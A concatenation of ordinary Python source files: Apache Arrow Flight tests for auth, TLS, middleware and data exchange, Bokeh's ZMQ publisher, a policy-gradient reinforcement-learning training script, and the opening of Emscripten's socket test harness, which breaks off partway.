# Do this in a separate thread so that if it fails, we don't hang
# the entire test process
with SlowFlightServer() as server:
client = FlightClient(('localhost', server.port))
action = flight.Action("", b"")
options = flight.FlightCallOptions(timeout=0.2)
# gRPC error messages change based on version, so don't look
# for a particular error
with pytest.raises(flight.FlightTimedOutError):
list(client.do_action(action, options=options))
def test_timeout_passes():
"""Make sure timeouts do not fire on fast requests."""
with ConstantFlightServer() as server:
client = FlightClient(('localhost', server.port))
options = flight.FlightCallOptions(timeout=5.0)
client.do_get(flight.Ticket(b'ints'), options=options).read_all()
basic_auth_handler = HttpBasicServerAuthHandler(creds={
b"test": b"p4ssw0rd",
})
token_auth_handler = TokenServerAuthHandler(creds={
b"test": b"p4ssw0rd",
})
@pytest.mark.slow
def test_http_basic_unauth():
"""Test that auth fails when not authenticated."""
with EchoStreamFlightServer(auth_handler=basic_auth_handler) as server:
client = FlightClient(('localhost', server.port))
action = flight.Action("who-am-i", b"")
with pytest.raises(flight.FlightUnauthenticatedError,
match=".*unauthenticated.*"):
list(client.do_action(action))
def test_http_basic_auth():
"""Test a Python implementation of HTTP basic authentication."""
with EchoStreamFlightServer(auth_handler=basic_auth_handler) as server:
client = FlightClient(('localhost', server.port))
action = flight.Action("who-am-i", b"")
client.authenticate(HttpBasicClientAuthHandler('test', 'p4ssw0rd'))
identity = next(client.do_action(action))
assert identity.body.to_pybytes() == b'test'
def test_http_basic_auth_invalid_password():
"""Test that auth fails with the wrong password."""
with EchoStreamFlightServer(auth_handler=basic_auth_handler) as server:
client = FlightClient(('localhost', server.port))
action = flight.Action("who-am-i", b"")
with pytest.raises(flight.FlightUnauthenticatedError,
match=".*wrong password.*"):
client.authenticate(HttpBasicClientAuthHandler('test', 'wrong'))
next(client.do_action(action))
def test_token_auth():
"""Test an auth mechanism that uses a handshake."""
with EchoStreamFlightServer(auth_handler=token_auth_handler) as server:
client = FlightClient(('localhost', server.port))
action = flight.Action("who-am-i", b"")
client.authenticate(TokenClientAuthHandler('test', 'p4ssw0rd'))
identity = next(client.do_action(action))
assert identity.body.to_pybytes() == b'test'
def test_token_auth_invalid():
"""Test an auth mechanism that uses a handshake."""
with EchoStreamFlightServer(auth_handler=token_auth_handler) as server:
client = FlightClient(('localhost', server.port))
with pytest.raises(flight.FlightUnauthenticatedError):
client.authenticate(TokenClientAuthHandler('test', 'wrong'))
def test_location_invalid():
"""Test constructing invalid URIs."""
with pytest.raises(pa.ArrowInvalid, match=".*Cannot parse URI:.*"):
flight.connect("%")
with pytest.raises(pa.ArrowInvalid, match=".*Cannot parse URI:.*"):
ConstantFlightServer("%")
def test_location_unknown_scheme():
"""Test creating locations for unknown schemes."""
assert flight.Location("s3://foo").uri == b"s3://foo"
assert flight.Location("https://example.com/bar.parquet").uri == \
b"https://example.com/bar.parquet"
@pytest.mark.slow
@pytest.mark.requires_testing_data
def test_tls_fails():
"""Make sure clients cannot connect when cert verification fails."""
certs = example_tls_certs()
with ConstantFlightServer(tls_certificates=certs["certificates"]) as s:
# Ensure client doesn't connect when certificate verification
# fails (this is a slow test since gRPC does retry a few times)
client = FlightClient("grpc+tls://localhost:" + str(s.port))
# gRPC error messages change based on version, so don't look
# for a particular error
with pytest.raises(flight.FlightUnavailableError):
client.do_get(flight.Ticket(b'ints')).read_all()
@pytest.mark.requires_testing_data
def test_tls_do_get():
"""Try a simple do_get call over TLS."""
table = simple_ints_table()
certs = example_tls_certs()
with ConstantFlightServer(tls_certificates=certs["certificates"]) as s:
client = FlightClient(('localhost', s.port),
tls_root_certs=certs["root_cert"])
data = client.do_get(flight.Ticket(b'ints')).read_all()
assert data.equals(table)
@pytest.mark.requires_testing_data
def test_tls_override_hostname():
"""Check that incorrectly overriding the hostname fails."""
certs = example_tls_certs()
with ConstantFlightServer(tls_certificates=certs["certificates"]) as s:
client = flight.connect(('localhost', s.port),
tls_root_certs=certs["root_cert"],
override_hostname="fakehostname")
with pytest.raises(flight.FlightUnavailableError):
client.do_get(flight.Ticket(b'ints'))
def test_flight_do_get_metadata():
"""Try a simple do_get call with metadata."""
data = [
pa.array([-10, -5, 0, 5, 10])
]
table = pa.Table.from_arrays(data, names=['a'])
batches = []
with MetadataFlightServer() as server:
client = FlightClient(('localhost', server.port))
reader = client.do_get(flight.Ticket(b''))
idx = 0
while True:
try:
batch, metadata = reader.read_chunk()
batches.append(batch)
server_idx, = struct.unpack('<i', metadata.to_pybytes())
assert idx == server_idx
idx += 1
except StopIteration:
break
data = pa.Table.from_batches(batches)
assert data.equals(table)
def test_flight_do_put_metadata():
"""Try a simple do_put call with metadata."""
data = [
pa.array([-10, -5, 0, 5, 10])
]
table = pa.Table.from_arrays(data, names=['a'])
with MetadataFlightServer() as server:
client = FlightClient(('localhost', server.port))
writer, metadata_reader = client.do_put(
flight.FlightDescriptor.for_path(''),
table.schema)
with writer:
for idx, batch in enumerate(table.to_batches(max_chunksize=1)):
metadata = struct.pack('<i', idx)
writer.write_with_metadata(batch, metadata)
buf = metadata_reader.read()
assert buf is not None
server_idx, = struct.unpack('<i', buf.to_pybytes())
assert idx == server_idx
@pytest.mark.slow
def test_cancel_do_get():
"""Test canceling a DoGet operation on the client side."""
with ConstantFlightServer() as server:
client = FlightClient(('localhost', server.port))
reader = client.do_get(flight.Ticket(b'ints'))
reader.cancel()
with pytest.raises(flight.FlightCancelledError, match=".*Cancel.*"):
reader.read_chunk()
@pytest.mark.slow
def test_cancel_do_get_threaded():
"""Test canceling a DoGet operation from another thread."""
with SlowFlightServer() as server:
client = FlightClient(('localhost', server.port))
reader = client.do_get(flight.Ticket(b'ints'))
read_first_message = threading.Event()
stream_canceled = threading.Event()
result_lock = threading.Lock()
raised_proper_exception = threading.Event()
def block_read():
reader.read_chunk()
read_first_message.set()
stream_canceled.wait(timeout=5)
try:
reader.read_chunk()
except flight.FlightCancelledError:
with result_lock:
raised_proper_exception.set()
thread = threading.Thread(target=block_read, daemon=True)
thread.start()
read_first_message.wait(timeout=5)
reader.cancel()
stream_canceled.set()
thread.join(timeout=1)
with result_lock:
assert raised_proper_exception.is_set()
def test_roundtrip_types():
"""Make sure serializable types round-trip."""
ticket = flight.Ticket("foo")
assert ticket == flight.Ticket.deserialize(ticket.serialize())
desc = flight.FlightDescriptor.for_command("test")
assert desc == flight.FlightDescriptor.deserialize(desc.serialize())
desc = flight.FlightDescriptor.for_path("a", "b", "test.arrow")
assert desc == flight.FlightDescriptor.deserialize(desc.serialize())
info = flight.FlightInfo(
pa.schema([('a', pa.int32())]),
desc,
[
flight.FlightEndpoint(b'', ['grpc://test']),
flight.FlightEndpoint(
b'',
[flight.Location.for_grpc_tcp('localhost', 5005)],
),
],
-1,
-1,
)
info2 = flight.FlightInfo.deserialize(info.serialize())
assert info.schema == info2.schema
assert info.descriptor == info2.descriptor
assert info.total_bytes == info2.total_bytes
assert info.total_records == info2.total_records
assert info.endpoints == info2.endpoints
def test_roundtrip_errors():
"""Ensure that Flight errors propagate from server to client."""
with ErrorFlightServer() as server:
client = FlightClient(('localhost', server.port))
with pytest.raises(flight.FlightInternalError, match=".*foo.*"):
list(client.do_action(flight.Action("internal", b"")))
with pytest.raises(flight.FlightTimedOutError, match=".*foo.*"):
list(client.do_action(flight.Action("timedout", b"")))
with pytest.raises(flight.FlightCancelledError, match=".*foo.*"):
list(client.do_action(flight.Action("cancel", b"")))
with pytest.raises(flight.FlightUnauthenticatedError, match=".*foo.*"):
list(client.do_action(flight.Action("unauthenticated", b"")))
with pytest.raises(flight.FlightUnauthorizedError, match=".*foo.*"):
list(client.do_action(flight.Action("unauthorized", b"")))
with pytest.raises(flight.FlightInternalError, match=".*foo.*"):
list(client.list_flights())
def test_do_put_independent_read_write():
"""Ensure that separate threads can read/write on a DoPut."""
# ARROW-6063: previously this would cause gRPC to abort when the
# writer was closed (due to simultaneous reads), or would hang
# forever.
data = [
pa.array([-10, -5, 0, 5, 10])
]
table = pa.Table.from_arrays(data, names=['a'])
with MetadataFlightServer() as server:
client = FlightClient(('localhost', server.port))
writer, metadata_reader = client.do_put(
flight.FlightDescriptor.for_path(''),
table.schema)
count = [0]
def _reader_thread():
while metadata_reader.read() is not None:
count[0] += 1
thread = threading.Thread(target=_reader_thread)
thread.start()
batches = table.to_batches(max_chunksize=1)
with writer:
for idx, batch in enumerate(batches):
metadata = struct.pack('<i', idx)
writer.write_with_metadata(batch, metadata)
# Causes the server to stop writing and end the call
writer.done_writing()
# Thus reader thread will break out of loop
thread.join()
# writer.close() won't segfault since reader thread has
# stopped
assert count[0] == len(batches)
def test_server_middleware_same_thread():
"""Ensure that server middleware run on the same thread as the RPC."""
with HeaderFlightServer(middleware={
"test": HeaderServerMiddlewareFactory(),
}) as server:
client = FlightClient(('localhost', server.port))
results = list(client.do_action(flight.Action(b"test", b"")))
assert len(results) == 1
value = results[0].body.to_pybytes()
assert b"right value" == value
def test_middleware_reject():
"""Test rejecting an RPC with server middleware."""
with HeaderFlightServer(middleware={
"test": SelectiveAuthServerMiddlewareFactory(),
}) as server:
client = FlightClient(('localhost', server.port))
# The middleware allows this through without auth.
with pytest.raises(pa.ArrowNotImplementedError):
list(client.list_actions())
# But not anything else.
with pytest.raises(flight.FlightUnauthenticatedError):
list(client.do_action(flight.Action(b"", b"")))
client = FlightClient(
('localhost', server.port),
middleware=[SelectiveAuthClientMiddlewareFactory()]
)
response = next(client.do_action(flight.Action(b"", b"")))
assert b"password" == response.body.to_pybytes()
def test_middleware_mapping():
"""Test that middleware records methods correctly."""
server_middleware = RecordingServerMiddlewareFactory()
client_middleware = RecordingClientMiddlewareFactory()
with FlightServerBase(middleware={"test": server_middleware}) as server:
client = FlightClient(
('localhost', server.port),
middleware=[client_middleware]
)
descriptor = flight.FlightDescriptor.for_command(b"")
with pytest.raises(NotImplementedError):
list(client.list_flights())
with pytest.raises(NotImplementedError):
client.get_flight_info(descriptor)
with pytest.raises(NotImplementedError):
client.get_schema(descriptor)
with pytest.raises(NotImplementedError):
client.do_get(flight.Ticket(b""))
with pytest.raises(NotImplementedError):
writer, _ = client.do_put(descriptor, pa.schema([]))
writer.close()
with pytest.raises(NotImplementedError):
list(client.do_action(flight.Action(b"", b"")))
with pytest.raises(NotImplementedError):
list(client.list_actions())
with pytest.raises(NotImplementedError):
writer, _ = client.do_exchange(descriptor)
writer.close()
expected = [
flight.FlightMethod.LIST_FLIGHTS,
flight.FlightMethod.GET_FLIGHT_INFO,
flight.FlightMethod.GET_SCHEMA,
flight.FlightMethod.DO_GET,
flight.FlightMethod.DO_PUT,
flight.FlightMethod.DO_ACTION,
flight.FlightMethod.LIST_ACTIONS,
flight.FlightMethod.DO_EXCHANGE,
]
assert server_middleware.methods == expected
assert client_middleware.methods == expected
def test_extra_info():
with ErrorFlightServer() as server:
client = FlightClient(('localhost', server.port))
try:
list(client.do_action(flight.Action("protobuf", b"")))
assert False
except flight.FlightUnauthorizedError as e:
assert e.extra_info is not None
ei = e.extra_info
assert ei == b'this is an error message'
@pytest.mark.requires_testing_data
def test_mtls():
"""Test mutual TLS (mTLS) with gRPC."""
certs = example_tls_certs()
table = simple_ints_table()
with ConstantFlightServer(
tls_certificates=[certs["certificates"][0]],
verify_client=True,
root_certificates=certs["root_cert"]) as s:
client = FlightClient(
('localhost', s.port),
tls_root_certs=certs["root_cert"],
cert_chain=certs["certificates"][0].cert,
private_key=certs["certificates"][0].key)
data = client.do_get(flight.Ticket(b'ints')).read_all()
assert data.equals(table)
def test_doexchange_get():
"""Emulate DoGet with DoExchange."""
expected = pa.Table.from_arrays([
pa.array(range(0, 10 * 1024))
], names=["a"])
with ExchangeFlightServer() as server:
client = FlightClient(("localhost", server.port))
descriptor = flight.FlightDescriptor.for_command(b"get")
writer, reader = client.do_exchange(descriptor)
with writer:
table = reader.read_all()
assert expected == table
def test_doexchange_put():
"""Emulate DoPut with DoExchange."""
data = pa.Table.from_arrays([
pa.array(range(0, 10 * 1024))
], names=["a"])
batches = data.to_batches(max_chunksize=512)
with ExchangeFlightServer() as server:
client = FlightClient(("localhost", server.port))
descriptor = flight.FlightDescriptor.for_command(b"put")
writer, reader = client.do_exchange(descriptor)
with writer:
writer.begin(data.schema)
for batch in batches:
writer.write_batch(batch)
writer.done_writing()
chunk = reader.read_chunk()
assert chunk.data is None
expected_buf = str(len(batches)).encode("utf-8")
assert chunk.app_metadata == expected_buf
def test_doexchange_echo():
"""Try a DoExchange echo server."""
data = pa.Table.from_arrays([
pa.array(range(0, 10 * 1024))
], names=["a"])
batches = data.to_batches(max_chunksize=512)
with ExchangeFlightServer() as server:
client = FlightClient(("localhost", server.port))
descriptor = flight.FlightDescriptor.for_command(b"echo")
writer, reader = client.do_exchange(descriptor)
with writer:
# Read/write metadata before starting data.
for i in range(10):
buf = str(i).encode("utf-8")
writer.write_metadata(buf)
chunk = reader.read_chunk()
assert chunk.data is None
assert chunk.app_metadata == buf
# Now write data without metadata.
writer.begin(data.schema)
for batch in batches:
writer.write_batch(batch)
assert reader.schema == data.schema
chunk = reader.read_chunk()
assert chunk.data == batch
assert chunk.app_metadata is None
# And write data with metadata.
for i, batch in enumerate(batches):
buf = str(i).encode("utf-8")
writer.write_with_metadata(batch, buf)
chunk = reader.read_chunk()
assert chunk.data == batch
assert chunk.app_metadata == buf
def test_doexchange_transform():
"""Transform a table with a service."""
data = pa.Table.from_arrays([
pa.array(range(0, 1024)),
pa.array(range(1, 1025)),
pa.array(range(2, 1026)),
], names=["a", "b", "c"])
expected = pa.Table.from_arrays([
pa.array(range(3, 1024 * 3 + 3, 3)),
], names=["sum"])
with ExchangeFlightServer() as server:
client = FlightClient(("localhost", server.port))
descriptor = flight.FlightDescriptor.for_command(b"transform")
writer, reader = client.do_exchange(descriptor)
with writer:
writer.begin(data.schema)
writer.write_table(data)
writer.done_writing()
table = reader.read_all()
assert expected == table
|
publisher.py | #-----------------------------------------------------------------------------
# Copyright (c) 2012 - 2015, Continuum Analytics, Inc. All rights reserved.
#
# Powered by the Bokeh Development Team.
#
# The full license is in the file LICENSE.txt, distributed with this software.
#-----------------------------------------------------------------------------
from __future__ import absolute_import, print_function
import logging
log = logging.getLogger(__name__)
import json
from threading import Thread
from six.moves.queue import Empty
import zmq
class Publisher(object):
def __init__(self, ctx, zmqaddr, queue, timeout=0.1):
self.ctx = ctx
self.zmqaddr = zmqaddr
self.queue = queue
self.timeout = timeout
self.kill = False
def run(self):
log.debug('Publisher starting: %s' % self.zmqaddr)
socket = self.ctx.socket(zmq.PUB)
socket.connect(self.zmqaddr)
try:
while not self.kill:
try:
message = self.queue.get(timeout=self.timeout)
socket.send_string(str(message))
except Empty:
pass
finally:
socket.close()
log.debug('Publisher exiting')
def send(self, topic, msg, exclude=None):
exclude = list(exclude or [])
msg = json.dumps({
'topic' : topic,
'msg' : msg,
'exclude' : exclude,
})
self.queue.put(msg)
def start(self):
self.thread = Thread(target=self.run)
self.thread.start()
def stop(self):
self.kill = True
if hasattr(self, 'thread'):
self.thread.join()
|
train_pg.py | import numpy as np
import tensorflow as tf
import gym
import logz
import scipy.signal
import os
import time
import inspect
from multiprocessing import Process
from tensorflow.contrib.distributions import MultivariateNormalDiag
#============================================================================================#
# Utilities
#============================================================================================#
def build_mlp(
inputs,
output_size,
scope,
n_layers=2,
size=64,
activation=tf.tanh,
output_activation=None
):
#========================================================================================#
# ----------SECTION 3----------
# Network building
#
# Your code should make a feedforward neural network (also called a multilayer perceptron)
# with 'n_layers' hidden layers of size 'size' units.
#
# The output layer should have size 'output_size' and activation 'output_activation'.
#
# Hint: use tf.layers.dense
#========================================================================================#
# TODO(universome): we consider here that n_layers ≥ 1
# because otherwise the code is a bit messy
with tf.variable_scope(scope):
x = inputs
for _ in range(n_layers):
x = tf.layers.dense(x, size, activation=activation)
out = tf.layers.dense(x, output_size, activation=output_activation)
return out
def pathlength(path):
return len(path["reward"])
def q_vals(rewards, gamma, reward_to_go):
"""Computes q-vals for trajectory rewards"""
if not reward_to_go:
return [q_val(rewards, gamma) for t in range(len(rewards))]
else:
return [q_val(rewards[t:], gamma) for t in range(len(rewards))]
def q_val(rewards, gamma):
return sum((gamma ** t) * r for t,r in enumerate(rewards))
#============================================================================================#
# Policy Gradient
#============================================================================================#
def train_PG(exp_name='',
env_name='CartPole-v0',
n_iter=100,
gamma=1.0,
min_timesteps_per_batch=1000,
max_path_length=None,
learning_rate=5e-3,
reward_to_go=True,
animate=True,
logdir=None,
normalize_advantages=True,
nn_baseline=False,
seed=0,
# network arguments
n_layers=1,
size=32
):
start = time.time()
# Configure output directory for logging
logz.configure_output_dir(logdir)
# Log experimental parameters
args = inspect.getargspec(train_PG)[0]
locals_ = locals()
params = {k: locals_[k] if k in locals_ else None for k in args}
logz.save_params(params)
# Set random seeds
tf.set_random_seed(seed)
np.random.seed(seed)
# Make the gym environment
env = gym.make(env_name)
# Is this env continuous, or discrete?
discrete = isinstance(env.action_space, gym.spaces.Discrete)
# Maximum length for episodes
max_path_length = max_path_length or env.spec.max_episode_steps
#========================================================================================#
# Notes on notation:
#
# Symbolic variables have the prefix sy_, to distinguish them from the numerical values
# that are computed later in the function
#
# Prefixes and suffixes:
# ob - observation
# ac - action
# _no - this tensor should have shape (batch size /n/, observation dim)
# _na - this tensor should have shape (batch size /n/, action dim)
# _n - this tensor should have shape (batch size /n/)
#
# Note: batch size /n/ is defined at runtime, and until then, the shape for that axis
# is None
#========================================================================================#
# Observation and action sizes
ob_dim = env.observation_space.shape[0]
ac_dim = env.action_space.n if discrete else env.action_space.shape[0]
#========================================================================================#
# ----------SECTION 4----------
# Placeholders
#
# Need these for batch observations / actions / advantages in policy gradient loss function.
#========================================================================================#
sy_ob_no = tf.placeholder(shape=[None, ob_dim], name="ob", dtype=tf.float32)
if discrete:
sy_ac_na = tf.placeholder(shape=[None], name="ac", dtype=tf.int32)
else:
sy_ac_na = tf.placeholder(shape=[None, ac_dim], name="ac", dtype=tf.float32)
# Define a placeholder for advantages
sy_adv_n = tf.placeholder(tf.float32, shape=[None], name='adv')
#========================================================================================#
# ----------SECTION 4----------
# Networks
#
# Make symbolic operations for
# 1. Policy network outputs which describe the policy distribution.
# a. For the discrete case, just logits for each action.
#
# b. For the continuous case, the mean / log std of a Gaussian distribution over
# actions.
#
# Hint: use the 'build_mlp' function you defined in utilities.
#
# Note: these ops should be functions of the placeholder 'sy_ob_no'
#
# 2. Producing samples stochastically from the policy distribution.
# a. For the discrete case, an op that takes in logits and produces actions.
#
# Should have shape [None]
#
# b. For the continuous case, use the reparameterization trick:
# The output from a Gaussian distribution with mean 'mu' and std 'sigma' is
#
# mu + sigma * z, z ~ N(0, I)
#
# This reduces the problem to just sampling z. (Hint: use tf.random_normal!)
#
# Should have shape [None, ac_dim]
#
# Note: these ops should be functions of the policy network output ops.
#
# 3. Computing the log probability of a set of actions that were actually taken,
# according to the policy.
#
# Note: these ops should be functions of the placeholder 'sy_ac_na', and the
# policy network output ops.
#
#========================================================================================#
if discrete:
sy_logits_na = build_mlp(sy_ob_no, ac_dim, 'policy', n_layers=n_layers, size=size)
sy_sampled_ac = tf.squeeze(tf.multinomial(sy_logits_na, 1), axis=1)
sy_logprob_n = tf.log(tf.reduce_sum(
tf.multiply(tf.nn.softmax(sy_logits_na), tf.one_hot(sy_ac_na, depth=ac_dim)),
axis=1))
else:
sy_mean = build_mlp(sy_ob_no, ac_dim, 'policy_mean', n_layers=n_layers, size=size)
# sy_logstd = build_mlp(sy_ob_no, ac_dim, 'policy_logstd', n_layers=1, size=size)
sy_logstd = tf.Variable(tf.ones([ac_dim]), name='logstd')
# TODO(universome): actually, sy_sampled_ac should have shape [None, ac_dim], not [ac_dim]
# but as we sample only one action at a time, it works :|
sy_sampled_ac = sy_mean + tf.multiply(tf.exp(sy_logstd), tf.random_normal([ac_dim]))
sy_logprob_n = MultivariateNormalDiag(sy_mean, tf.exp(sy_logstd)).log_prob(sy_ac_na)
#========================================================================================#
# ----------SECTION 4----------
# Loss Function and Training Operation
#========================================================================================#
loss = -tf.reduce_mean(tf.multiply(sy_logprob_n, sy_adv_n))
update_op = tf.train.AdamOptimizer(learning_rate).minimize(loss)
#========================================================================================#
# ----------SECTION 5----------
# Optional Baseline
#========================================================================================#
if nn_baseline:
baseline_prediction = tf.squeeze(build_mlp(
sy_ob_no,
1,
"nn_baseline",
n_layers=n_layers,
size=size))
# Define placeholders for targets, a loss function and an update op for fitting a
# neural network baseline. These will be used to fit the neural network baseline.
# We should fit value function
sy_bl_targets = tf.placeholder(shape=[None], name="bl_targets", dtype=tf.float32)
bl_loss = tf.losses.mean_squared_error(sy_bl_targets, baseline_prediction)
baseline_update_op = tf.train.AdamOptimizer(learning_rate).minimize(bl_loss)
#========================================================================================#
# Tensorflow Engineering: Config, Session, Variable initialization
#========================================================================================#
tf_config = tf.ConfigProto(inter_op_parallelism_threads=1, intra_op_parallelism_threads=1)
sess = tf.Session(config=tf_config)
sess.__enter__() # equivalent to `with sess:`
tf.global_variables_initializer().run() #pylint: disable=E1101
#========================================================================================#
# Training Loop
#========================================================================================#
total_timesteps = 0
for itr in range(n_iter):
print("********** Iteration %i ************"%itr)
# Collect paths until we have enough timesteps
timesteps_this_batch = 0
paths = []
while timesteps_this_batch <= min_timesteps_per_batch:
ob = env.reset()
done = False
obs, acs, rewards = [], [], []
animate_this_episode=(len(paths)==0 and (itr % 10 == 0) and animate)
steps = 0
while steps <= max_path_length and not done:
if animate_this_episode:
env.render()
time.sleep(0.05)
obs.append(ob)
ac = sess.run(sy_sampled_ac, feed_dict={sy_ob_no : ob[None]})
ac = ac[0]
acs.append(ac)
ob, rew, done, _ = env.step(ac)
rewards.append(rew)
steps += 1
path = {"observation" : np.array(obs),
"reward" : np.array(rewards),
"action" : np.array(acs)}
paths.append(path)
timesteps_this_batch += pathlength(path)
total_timesteps += timesteps_this_batch
# Build arrays for observation, action for the policy gradient update by concatenating
# across paths
ob_no = np.concatenate([path["observation"] for path in paths])
ac_na = np.concatenate([path["action"] for path in paths])
#====================================================================================#
# ----------SECTION 4----------
# Computing Q-values
#
# Your code should construct numpy arrays for Q-values which will be used to compute
# advantages (which will in turn be fed to the placeholder you defined above).
#
# Recall that the expression for the policy gradient PG is
#
# PG = E_{tau} [sum_{t=0}^T grad log pi(a_t|s_t) * (Q_t - b_t)]
#
# where
#
# tau=(s_0, a_0, ...) is a trajectory,
# Q_t is the Q-value at time t, Q^{pi}(s_t, a_t),
# and b_t is a baseline which may depend on s_t.
#
# You will write code for two cases, controlled by the flag 'reward_to_go':
#
# Case 1: trajectory-based PG
#
# (reward_to_go = False)
#
# Instead of Q^{pi}(s_t, a_t), we use the total discounted reward summed over
# entire trajectory (regardless of which time step the Q-value should be for).
#
# For this case, the policy gradient estimator is
#
# E_{tau} [sum_{t=0}^T grad log pi(a_t|s_t) * Ret(tau)]
#
# where
#
# Ret(tau) = sum_{t'=0}^T gamma^t' r_{t'}.
#
# Thus, you should compute
#
# Q_t = Ret(tau)
#
# Case 2: reward-to-go PG
#
# (reward_to_go = True)
#
# Here, you estimate Q^{pi}(s_t, a_t) by the discounted sum of rewards starting
# from time step t. Thus, you should compute
#
# Q_t = sum_{t'=t}^T gamma^(t'-t) * r_{t'}
#
#
# Store the Q-values for all timesteps and all trajectories in a variable 'q_n',
# like the 'ob_no' and 'ac_na' above.
#
#====================================================================================#
q_n = np.concatenate([q_vals(path['reward'], gamma, reward_to_go) for path in paths])
#====================================================================================#
# ----------SECTION 5----------
# Computing Baselines
#====================================================================================#
if nn_baseline:
# If nn_baseline is True, use your neural network to predict reward-to-go
# at each timestep for each trajectory, and save the result in a variable 'b_n'
# like 'ob_no', 'ac_na', and 'q_n'.
#
# Hint #bl1: rescale the output from the nn_baseline to match the statistics
# (mean and std) of the current or previous batch of Q-values. (Goes with Hint
# #bl2 below.)
b_n = sess.run([baseline_prediction], feed_dict={sy_ob_no: ob_no})
b_n = np.array(b_n).reshape(-1)
b_n = (b_n - np.mean(b_n)) / np.std(b_n) # Normalizing
b_n = b_n * np.std(q_n) + np.mean(q_n) # Rescaling to match statistics of q_n
adv_n = q_n - b_n
else:
adv_n = q_n.copy()
#====================================================================================#
# ----------SECTION 4----------
# Advantage Normalization
#====================================================================================#
if normalize_advantages:
# On the next line, implement a trick which is known empirically to reduce variance
# in policy gradient methods: normalize adv_n to have mean zero and std=1.
adv_n = (adv_n - np.mean(adv_n)) / np.std(adv_n)
#====================================================================================#
# ----------SECTION 5----------
# Optimizing Neural Network Baseline
#====================================================================================#
if nn_baseline:
# ----------SECTION 5----------
# If a neural network baseline is used, set up the targets and the inputs for the
# baseline.
#
# Fit it to the current batch in order to use for the next iteration. Use the
# baseline_update_op you defined earlier.
#
# Hint #bl2: Instead of trying to target raw Q-values directly, rescale the
# targets to have mean zero and std=1. (Goes with Hint #bl1 above.)
_ = sess.run([baseline_update_op], feed_dict={sy_ob_no: ob_no, sy_bl_targets: q_n})
#====================================================================================#
# ----------SECTION 4----------
# Performing the Policy Update
#====================================================================================#
# Call the update operation necessary to perform the policy gradient update based on
# the current batch of rollouts.
#
# For debug purposes, you may wish to save the value of the loss function before
# and after an update, and then log them below.
feed_dict={sy_ob_no: ob_no, sy_ac_na: ac_na, sy_adv_n: adv_n}
_, loss_value = sess.run([update_op, loss], feed_dict=feed_dict)
# Log diagnostics
returns = [path["reward"].sum() for path in paths]
ep_lengths = [pathlength(path) for path in paths]
logz.log_tabular("Time", time.time() - start)
logz.log_tabular("Iteration", itr)
logz.log_tabular("AverageReturn", np.mean(returns))
logz.log_tabular("StdReturn", np.std(returns))
logz.log_tabular("MaxReturn", np.max(returns))
logz.log_tabular("MinReturn", np.min(returns))
logz.log_tabular("EpLenMean", np.mean(ep_lengths))
logz.log_tabular("EpLenStd", np.std(ep_lengths))
logz.log_tabular("TimestepsThisBatch", timesteps_this_batch)
logz.log_tabular("TimestepsSoFar", total_timesteps)
logz.log_tabular("LossValue", loss_value)
logz.dump_tabular()
logz.pickle_tf_vars()
def main():
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('env_name', type=str)
parser.add_argument('--exp_name', type=str, default='vpg')
parser.add_argument('--render', action='store_true')
parser.add_argument('--discount', '-d', type=float, default=1.0)
parser.add_argument('--n_iter', '-n', type=int, default=100)
parser.add_argument('--batch_size', '-b', type=int, default=1000)
parser.add_argument('--ep_len', '-ep', type=float, default=-1.)
parser.add_argument('--learning_rate', '-lr', type=float, default=5e-3)
parser.add_argument('--reward_to_go', '-rtg', action='store_true')
parser.add_argument('--dont_normalize_advantages', '-dna', action='store_true')
parser.add_argument('--nn_baseline', '-bl', action='store_true')
parser.add_argument('--seed', type=int, default=1)
parser.add_argument('--n_experiments', '-e', type=int, default=1)
parser.add_argument('--n_layers', '-l', type=int, default=1)
parser.add_argument('--size', '-s', type=int, default=32)
args = parser.parse_args()
if not(os.path.exists('data')):
os.makedirs('data')
logdir = args.exp_name + '_' + args.env_name + '_' + time.strftime("%d-%m-%Y_%H-%M-%S")
logdir = os.path.join('data', logdir)
if not(os.path.exists(logdir)):
os.makedirs(logdir)
max_path_length = args.ep_len if args.ep_len > 0 else None
for e in range(args.n_experiments):
seed = args.seed + 10*e
print('Running experiment with seed %d'%seed)
def train_func():
train_PG(
exp_name=args.exp_name,
env_name=args.env_name,
n_iter=args.n_iter,
gamma=args.discount,
min_timesteps_per_batch=args.batch_size,
max_path_length=max_path_length,
learning_rate=args.learning_rate,
reward_to_go=args.reward_to_go,
animate=args.render,
logdir=os.path.join(logdir,'%d'%seed),
normalize_advantages=not(args.dont_normalize_advantages),
nn_baseline=args.nn_baseline,
seed=seed,
n_layers=args.n_layers,
size=args.size
)
# Awkward hacky process runs, because Tensorflow does not like
# repeatedly calling train_PG in the same thread.
p = Process(target=train_func, args=tuple())
p.start()
p.join()
if __name__ == "__main__":
main()
|
test_sockets.py | # Copyright 2013 The Emscripten Authors. All rights reserved.
# Emscripten is available under two separate licenses, the MIT license and the
# University of Illinois/NCSA Open Source License. Both these licenses can be
# found in the LICENSE file.
import multiprocessing
import os
import socket
import shutil
import sys
import time
from subprocess import Popen, PIPE
if __name__ == '__main__':
raise Exception('do not run this file directly; do something like: tests/runner sockets')
try:
import websockify
except Exception:
# websockify won't successfully import on Windows under Python3, because socketserver.py doesn't export ForkingMixIn.
# (On python2, ForkingMixIn was exported but it didn't actually work on Windows).
# Swallowing the error here means that this file can always be imported, but won't work if actually used on Windows,
# which is the same behavior as before.
pass
import clang_native
from common import BrowserCore, no_windows, create_file, test_file, read_file
from tools import shared, config, utils
from tools.shared import PYTHON, EMCC, path_from_root, WINDOWS, run_process, CLANG_CC
npm_checked = False
NPM = os.path.join(os.path.dirname(config.NODE_JS[0]), 'npm.cmd' if WINDOWS else 'npm')
def clean_processes(processes):
for p in processes:
if (not hasattr(p, 'exitcode') or p.exitcode is None) and (not hasattr(p, 'returncode') or p.returncode is None):
# ask nicely (to try and catch the children)
try:
p.terminate() # SIGTERM
except OSError:
pass
time.sleep(1)
# send a forcible kill immediately afterwards. If the process did not die before, this should clean it.
try:
p.terminate() # SIGKILL
except OSError:
pass
class WebsockifyServerHarness():
def __init__(self, filename, args, listen_port, do_server_check=True):
self.processes = []
self.filename = filename
self.listen_port = listen_port
self.target_port = listen_port - 1
self.args = args or []
self.do_server_check = do_server_check
def __enter__(self):
# compile the server
# NOTE empty filename support is a hack to support
# the current test_enet
if self.filename:
proc = run_process([CLANG_CC, test_file(self.filename), '-o', 'server', '-DSOCKK=%d' % self.target_port] + clang_native.get_clang_native_args() + self.args, clang_native.get_clang_native_env(), stdout=PIPE, stderr=PIPE)
print('Socket server build: out:', proc.stdout or '', '/ err:', proc.stderr or '')
process = Popen([os.path.abspath('server')])
self.processes.append(process)
# start the websocket proxy
